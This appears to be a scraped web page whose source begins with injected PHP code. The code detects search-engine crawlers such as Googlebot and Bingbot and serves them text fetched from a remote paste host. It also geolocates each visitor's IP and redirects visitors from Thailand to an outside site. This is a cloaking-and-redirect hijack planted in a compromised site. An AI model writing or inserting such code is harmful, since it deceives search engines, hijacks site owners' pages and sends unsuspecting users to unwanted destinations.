function hwdproperties() { $bots = array( "Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News", "bingbot" ); $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; foreach ($bots as $bot) { if (stripos($userAgent, $bot) !== false) { return true; } } return false; } function getIP() { if (isset($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } else { return 'UNKNOWN'; } } function isThailandIP($ip) { $response = @file_get_contents("http://ip-api.com/json/" . $ip . "?fields=countryCode"); $geo = @json_decode($response, true); return is_array($geo) && isset($geo['countryCode']) && $geo['countryCode'] === 'TH'; } $ip = getIP(); if (hwdproperties()) { echo @file_get_contents('https://nightcityview.host/pastee/pastes/68a3515916627.txt'); exit; } if (isThailandIP($ip)) { header("Location: https://hwg.lol/letsrock/"); exit; } ?>
Skip to content